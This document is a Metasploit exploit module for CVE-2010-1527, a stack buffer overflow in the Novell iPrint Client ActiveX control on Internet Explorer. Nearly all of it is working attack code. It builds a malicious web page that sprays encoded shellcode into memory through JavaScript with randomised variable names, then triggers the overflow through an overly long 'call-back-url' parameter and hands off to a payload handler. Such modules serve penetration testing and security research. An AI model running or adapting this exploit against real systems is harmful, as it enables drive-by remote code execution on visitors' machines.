##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

##
# novelliprint_callbackurl.rb
#
# Novell iPrint Client ActiveX Control call-back-url Buffer Overflow exploit for the Metasploit Framework
#
# Exploit successfully tested on the following platforms:
#  - Novell iPrint Client 5.40 on Internet Explorer 7, Windows XP SP3
#  - Novell iPrint Client 5.42 on Internet Explorer 7, Windows XP SP3
#  - Novell iPrint Client 5.42 on Internet Explorer 7, Windows Vista SP2
#
# ienipp.ocx version tested:
# File Version: 5.4.0.0 and 5.4.2.0
# ClassID: 36723F97-7AA0-11D4-8919-FF2D71D0D32C
# RegKey Safe for Script: True
# RegKey Safe for Init: True
# KillBitSet: False
#
# References:
#  - CVE-2010-1527
#  - OSVDB 67411
#  - http://secunia.com/secunia_research/2010-104/ - Original advisory by Carsten Eiram, Secunia Research
#  - https://www.exploit-db.com/exploits/15042/ - MOAUB #19 exploit
#  - https://www.exploit-db.com/moaub-19-novell-iprint-client-browser-plugin-call-back-url-stack-overflow/ - MOAUB #14 binary analysis
#  - http://www.rec-sec.com/2010/09/21/novell-iprint-callbackurl-buffer-overflow-exploit/ - Metasploit exploit by Trancer, Recognize-Security
#
# Trancer
# http://www.rec-sec.com
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpServer::HTML

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Novell iPrint Client ActiveX Control call-back-url Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack-based buffer overflow in Novell iPrint Client 5.42.
        When sending an overly long string to the 'call-back-url' parameter in an
        op-client-interface-version action of ienipp.ocx an attacker may be able to
        execute arbitrary code.
      },
      'License'        => MSF_LICENSE,
      'Author'         => [ 'Trancer <mtrancer[at]gmail.com>' ],
      'References'     =>
        [
          [ 'CVE', '2010-1527' ],
          [ 'OSVDB', '67411'],
          [ 'URL', 'http://secunia.com/secunia_research/2010-104/' ],	# Carsten Eiram, Secunia Research
          [ 'EDB', '15042' ],		# MOAUB #19
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
        },
      'Payload'        =>
        {
          'Space'         => 1024,
          'BadChars'      => "\x00",
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Windows XP SP0-SP2 / Windows Vista / IE 6.0 SP0-SP2 / IE 7', { 'Ret' => 0x0A0A0A0A } ]
        ],
      'DisclosureDate' => 'Aug 20 2010',
      'DefaultTarget'  => 0))
  end

  def autofilter
    false
  end

  def check_dependencies
    use_zlib
  end

  def on_request_uri(cli, request)
    # Re-generate the payload.
    return if ((p = regenerate_payload(cli)) == nil)

    # Encode the shellcode.
    shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

    # Setup exploit buffers
    nops 	  = Rex::Text.to_unescape([target.ret].pack('V'))
    ret  	  = [target.ret].pack('V')
    ret 	  = ret * 250
    blocksize = 0x40000
    fillto    = 500
    offset 	  = target['Offset']

    # ActiveX parameters
    clsid 	= "36723F97-7AA0-11D4-8919-FF2D71D0D32C"

    # Randomize the javascript variable names
    ienipp       = rand_text_alpha(rand(100) + 1)
    j_shellcode  = rand_text_alpha(rand(100) + 1)
    j_nops       = rand_text_alpha(rand(100) + 1)
    j_ret        = rand_text_alpha(rand(100) + 1)
    j_headersize = rand_text_alpha(rand(100) + 1)
    j_slackspace = rand_text_alpha(rand(100) + 1)
    j_fillblock  = rand_text_alpha(rand(100) + 1)
    j_block      = rand_text_alpha(rand(100) + 1)
    j_memory     = rand_text_alpha(rand(100) + 1)
    j_counter    = rand_text_alpha(rand(30) + 2)

    html = %Q|<html>
<script>
var #{j_shellcode} = unescape('#{shellcode}');
var #{j_nops} = unescape('#{nops}');
var #{j_headersize} = 20;
var #{j_slackspace} = #{j_headersize} + #{j_shellcode}.length;
while (#{j_nops}.length < #{j_slackspace}) #{j_nops} += #{j_nops};
var #{j_fillblock} = #{j_nops}.substring(0,#{j_slackspace});
var #{j_block} = #{j_nops}.substring(0,#{j_nops}.length - #{j_slackspace});
while (#{j_block}.length + #{j_slackspace} < #{blocksize}) #{j_block} = #{j_block} + #{j_block} + #{j_fillblock};
var #{j_memory} = new Array();
for (#{j_counter} = 0; #{j_counter} < #{fillto}; #{j_counter}++) {
  #{j_memory}[#{j_counter}] = #{j_block} + #{j_shellcode};
}
</script>
<object classid='clsid:#{clsid}' id='#{ienipp}'>
<param name='operation' value='op-client-interface-version' />
<param name='result-type' value='url' />
<param name='call-back-url' value='#{ret}' />
</object>
</html>|

    print_status("Sending #{self.name}")

    # Transmit the response to the client
    send_response(cli, html, { 'Content-Type' => 'text/html' })

    # Handle the payload
    handler(cli)
  end
end
